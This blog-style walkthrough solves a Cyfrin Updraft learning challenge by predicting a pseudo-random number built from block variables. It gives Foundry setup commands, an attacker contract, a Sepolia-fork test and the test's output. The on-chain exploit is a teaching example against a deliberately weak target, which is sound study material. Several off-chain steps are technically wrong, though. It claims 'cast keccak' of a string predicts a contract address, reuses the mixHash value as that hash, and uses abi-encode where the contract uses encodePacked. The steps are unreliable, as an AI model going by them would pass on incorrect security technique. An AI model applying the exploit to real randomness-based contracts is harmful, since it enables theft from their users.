Hey there!
I'm kode-n-rolla — a security researcher diving deep into Web3 security. I'm fascinated by how blockchains work under the hood, especially when it comes to smart contract vulnerabilities. Every day I’m reverse-engineering contracts, breaking things (ethically 😉), and sharpening my Solidity + Foundry skills.
Recently, I discovered Cyfrin Updraft — a free platform for learning Solidity and blockchain security. Alongside their learning modules, they offer unique NFT challenges. These are not ordinary quizzes — you have to actually exploit something to solve the task and earn a badass on-chain NFT proving your skills 🧠🔓
This article is a walkthrough of how I solved Lesson Nine, a challenge where your goal is to guess a pseudo-random number and call solveChallenge(...)
to claim the NFT.
Sounds impossible? Not really — once you understand:
- How
abi.encodePacked
,keccak256
and% 100000
work together - How values like
block.timestamp
andblock.prevrandao
affect randomness - How to simulate the Sepolia chain using a fork +
vm.warp
in Foundry - How to craft the correct input without reverting
If you're learning smart contract security and want a hands-on example of attacking pseudo-randomness — this one's for you. Let’s dig in 🔍
🛠️ Setting Up the Playground
Before writing any exploit code, we need a proper environment to simulate the real Sepolia blockchain.
🔧 Step 1: Start a Foundry project
forge init lesson9
cd lesson9
Foundry is my go-to tool for smart contract testing. It's blazing fast, flexible, and lets you fork real blockchains easily.
📁 Step 2: Create a .env file
We’ll be forking Sepolia at a specific block, so we need to set up environment variables.
SEPOLIA_RPC="https://sepolia.infura.io/v3/YOUR_API_KEY"
TARGET="0xTargetContractAddress"
FORK_BLOCK=8997426
To load them inside tests, don’t forget to source the file:
source .env
🔍 Step 3: Pick a specific block to fork
Why do we need a fixed block?
Because the challenge uses block.timestamp
and block.prevrandao
as part of the pseudo-randomness. If you don’t lock those values, your guess will always be wrong.
Get the latest block number:
cast block-number --rpc-url $SEPOLIA_RPC
Pick one (e.g., 8997426) and get its full details:
cast block 8997426 --rpc-url $SEPOLIA_RPC
Save the timestamp
and mixHash
(this is actually prevrandao).
Step 4: Add the target interface
Create src/ILessonNine.sol
with the interface of the challenge contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
/// @title LessonNine Interface - Solve the pseudo-randomness challenge
interface ILessonNine {
function solveChallenge(uint256 randomGuess, string calldata yourTwitterHandle) external;
}
Why interface? Because we don’t need the full contract, just its external call signature to interact with it.
Ready for the next step — generating the correct input and attacker address? 😏
Let’s go!
🎯 Cracking the "Random" — Making a Correct Guess
The goal of this challenge is to guess the correct number (between 0 and 99999) generated inside the contract. It uses a very common but insecure pattern for pseudo-randomness:
uint256 guess = uint256(keccak256(abi.encodePacked(msg.sender, block.prevrandao, block.timestamp))) % 100000;
Let’s break that down. It depends on:
-
msg.sender
: in our case, it's a contract we deploy -
block.prevrandao
: randomness beacon from the previous block (also called mixHash) -
block.timestamp
: current block timestamp
But since we control all of this (via a fork!), the randomness isn't really random anymore 😉
🕵️♂️ Step 1: Re-create the guess off-chain
We start by selecting:
- A known timestamp from the block (1755355572)
- A known prevrandao/mixHash from the block (0x3a70aa...)
- And we choose our attacker contract address
But we need to know the future address of our attacking contract… wait, how?
🧠 Step 2: Predict attacker contract address
Since we're deploying the attacking contract from a fixed EOA, the deployed contract address is predictable.
We picked an attacker address:
export attackerEOA=0x97154a62Cd5641a577e092d2Eee7e39Fcb3333Dc
Then we computed the contract address using Foundry:
cast keccak "attacker"
# → 0x3a70aa... ← use the last 40 hex characters (20 bytes) for the contract address
🔢 Step 3: Build the exact calldata
The solveChallenge() function expects:
function solveChallenge(uint256 randomGuess, string calldata yourTwitterHandle)
To simulate the guess off-chain, we do:
cast abi-encode "f(address,uint256,uint256)" \
<contract_address> \
<prevrandao> \
<timestamp>
Then hash the full data:
cast keccak <abi_encoded_data>
And finally:
echo "$((0x<hash> % 100000))"
# ✅ That’s your correct guess!
In our case, the guess was 90451.
🔥 This is the core of the challenge — reversing a weak random generator with on-chain data. It shows why you should never use block variables for randomness in security-critical logic.
🛠 Writing the Exploit — Deploy, Guess, Profit
Once we’ve cracked the guess off-chain, it’s time to actually submit it. But there’s one more twist — the challenge contract is expecting the call from a smart contract (not an EOA), which will act as the msg.sender
.
Let’s build that!
📦 Hack Contract
contract HackLessonNine {
ILessonNine public target;
string public handle;
constructor(address _target, string memory _handle) {
target = ILessonNine(_target);
handle = _handle;
}
function run() public {
uint256 guess = uint256(
keccak256(
abi.encodePacked(address(this), block.prevrandao, block.timestamp)
)
) % 100000;
target.solveChallenge(guess, handle);
}
receive() external payable {}
function onERC721Received(...) external pure returns (bytes4) {
return this.onERC721Received.selector;
}
}
What’s happening here:
- We store the target contract and Twitter handle.
- In
run()
we rebuild the guess on-chain usingaddress(this)
,block.prevrandao
andblock.timestamp
— exactly as the challenge does. - Then we call
solveChallenge()
with the guess. - The
onERC721Received
function is required to receive the NFT if the challenge usessafeTransferFrom
.
Writing the Forge Test
contract HackSolve is Test {
uint256 fork;
address TARGET;
address attackerEOA = 0x97154a62Cd5641a577e092d2Eee7e39Fcb3333Dc;
function setUp() public {
string memory rpc = vm.envString("SEPOLIA_RPC");
uint256 blockNum = vm.envUint("FORK_BLOCK");
TARGET = vm.envAddress("TARGET");
fork = vm.createFork(rpc, blockNum);
vm.selectFork(fork);
vm.warp(1755355572); // ⏳ Timestamp override
vm.deal(attackerEOA, 1 ether); // 💰 Fund the attacker
}
function test_ExploitWithInternalCall() public {
vm.selectFork(fork);
vm.startPrank(attackerEOA);
HackLessonNine hack = new HackLessonNine(TARGET, "0xsolver");
hack.run();
vm.stopPrank();
}
}
🧠 Why this works:
- The fork is created at the block we analyzed earlier.
-
vm.warp()
freezes the time to match the one used in the off-chain guess. -
startPrank()
lets us deploy and interact as the attackerEOA, keeping the deployed contract address consistent. - Finally, we deploy the
HackLessonNine
contract and callrun()
— and voilà! 🎉
If everything’s correct, the NFT will be minted to the contract and transferred to the attacker EOA!
All Code on GitHub
You can find all the necessary files for this challenge — including the HackLessonNine contract, the Forge test, and even .env examples — in my GitHub repo 👉 here
This way, you don’t need to copy-paste from the article — everything’s structured and ready to run.
📘 Bonus: NatSpec Comments
I also added NatSpec comments to the contracts — it’s a good practice to document your smart contracts properly, especially when collaborating or auditing. Think of it as the Solidity equivalent of writing clean commit messages 😄
They might look like this:
/**
* @title HackLessonNine
* @author your name
* @notice This contract computes the pseudo-random number and calls the solve function.
*/
They don’t affect execution, but they help readers (and tools!) understand your code faster. Let’s make good habits the default. 👨💻✨
✅ Writing the Forge Test
Here’s where the magic happens — we simulate the entire attack in a Foundry test using a Sepolia fork. This gives us a clean and controlled environment where we can call solveChallenge
under real blockchain conditions.
Let’s break it down:
contract HackSolve is Test {
uint256 fork;
address TARGET;
address attackerEOA = 0x9715...3Dc;
We define:
-
fork
– for storing our fork ID, -
TARGET
– the target contract we’ll interact with, -
attackerEOA
– the address we manually derived earlier (you remember thatcast keccak
moment 😏).
setUp(): Preparing the Fork
function setUp() public {
string memory rpc = vm.envString("SEPOLIA_RPC");
uint256 blockNum = vm.envUint("FORK_BLOCK");
TARGET = vm.envAddress("TARGET");
fork = vm.createFork(rpc, blockNum);
vm.selectFork(fork);
vm.warp(1755355572);
vm.deal(attackerEOA, 1 ether);
}
This function:
- Reads our
.env
variables, - Creates and selects a fork of Sepolia at the exact block we inspected,
- Time-travels to the original block timestamp using
vm.warp
, and - Funds our
attackerEOA
with 1 ether to pay for gas 💸
🚀 test_ExploitWithInternalCall()
function test_ExploitWithInternalCall() public {
vm.selectFork(fork);
vm.startPrank(attackerEOA);
HackLessonNine hack = new HackLessonNine(TARGET, "0xsolver");
hack.run();
vm.stopPrank();
}
This is the actual exploit:
- We use
vm.startPrank(attackerEOA)
to impersonate the attacker. - We deploy the
HackLessonNine
contract with our handle (that shows up on the NFT 👀). - Calling
run()
triggers the pseudo-random guess generation and sends it to the challenge contract.
Let’s run the test command:
forge test --mc HackSolve -vvv
[⠊] Compiling...
[⠑] Compiling 1 files with Solc 0.8.30
[⠘] Solc 0.8.30 finished in 1.55s
Compiler run successful!
Ran 1 test for test/HackSolve.t.sol:HackSolve
[PASS] test_ExploitWithInternalCall() (gas: 621045)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 399.25ms (1.14ms CPU time)
Ran 1 test suite in 401.88ms (399.25ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
If everything is like this… 🎉 you receive the NFT (locally, not in real network)!
🧠 Final Thoughts: Pseudorandomness & Blockchain
Before we wrap up, let’s talk briefly about the core idea behind this challenge — pseudorandom numbers.
In traditional applications, generating random numbers is relatively easy thanks to system entropy (e.g. from mouse movement, CPU jitter, etc). But on-chain randomness is a completely different beast.
Why?
Because everything on the blockchain is deterministic. Every node must come to the exact same state — otherwise, consensus breaks.
That’s why when developers try to use values like block.timestamp
, block.prevrandao
, or msg.sender
to simulate randomness, it’s never truly random — and often, it's predictable or manipulatable.
This is where pseudorandomness comes in — it’s not real randomness, but it's often "good enough"... unless a clever attacker (like us 😉) finds the pattern.
🔒 For truly secure randomness on-chain, projects rely on oracles like Chainlink VRF. It provides verifiable randomness — provably fair and tamper-resistant.
🙌 Thanks for Reading
Thanks for coming along this journey with me!
I hope this walkthrough helped demystify not only the challenge but also how randomness works (or doesn’t work!) on-chain.
If you're also diving into Web3 security, Solidity fuzzing, or just love weird quirks in smart contracts — let’s connect!
📎 Useful links:
Happy hacking! 👾
Top comments (0)